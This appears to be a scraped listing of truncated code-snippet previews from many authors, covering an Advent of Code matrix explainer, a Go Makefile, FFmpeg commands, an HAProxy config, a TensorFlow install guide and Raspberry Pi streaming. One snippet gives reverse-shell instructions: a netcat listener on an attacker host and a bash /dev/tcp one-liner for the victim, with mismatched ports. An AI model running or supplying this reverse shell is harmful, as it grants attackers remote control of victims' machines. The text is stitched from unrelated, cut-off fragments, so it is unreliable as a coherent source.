rain-1

This is explaining stuff relevant to AOC 2021 day 6

How is a matrix used to count fish?

First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.

So you can implement fibs like this:

def fib(n):

thomaspoignant

GOCMD=go
GOTEST=$(GOCMD) test
GOVET=$(GOCMD) vet
BINARY_NAME=example
VERSION?=0.0.0
SERVICE_PORT?=3000
DOCKER_REGISTRY?= #if set it should finished by /
EXPORT_RESULT?=false # for CI please set EXPORT_RESULT to true

GREEN  := $(shell tput -Txterm setaf 2)

alsunseri

On attack host in "local" active terminal using port 10000 for example:

nc -l -t -v  8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
        Then On "remote" victim computer - run this command
        Get this to execute on the victim host ( assuming victim does not have netcat ) 

bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1  

        for example:

steven2358

FFmpeg cheat sheet

A list of useful commands for the FFmpeg command line tool.

Download FFmpeg: https://www.ffmpeg.org/download.html

Full documentation: https://www.ffmpeg.org/ffmpeg.html

Basic conversion

rossja

Tizen Hacking

Contents

1. Device Info
2. Modes HOWTO
   1. Recovery Mode
   2. Bootloader Mode
   3. Developer Mode

meanevo

#---------------------------------------------------------------------
# Global settings
#---------------------------------------------------------------------
global
    daemon
    chroot /var/lib/haproxy
    pidfile /var/run/haproxy.pid
    maxconn 2048
    user haproxy
    group haproxy

Mistobaan

These instructions will explain how to install tensorflow on mac with cuda enabled GPU suport. I assume you know what tensorflow is and why you would want to have a deep learning framework running on your computer.

Prerequisites

Make sure to update your homebrew formulas

brew update

PurpleBooth

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

max-mapper

1. compile ffmpeg for arm https://github.com/fiorix/ffmpeg-arm
2. create youtube 'live event'. get rtmp url + session id
3. run this:

raspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | ffmpeg -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /dev/zero -f h264 -i - -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv rtmp://a.rtmp.youtube.com/live2/<SESSION>

you can tweak -b and -fps to your liking. the settings above work well for 1080p. by not specifying width or height we get the full 1920x1080 resolution from the raspi camera

lukehedger

$ ffmpeg -i input.mp4 -vcodec h264 -acodec mp2 output.mp4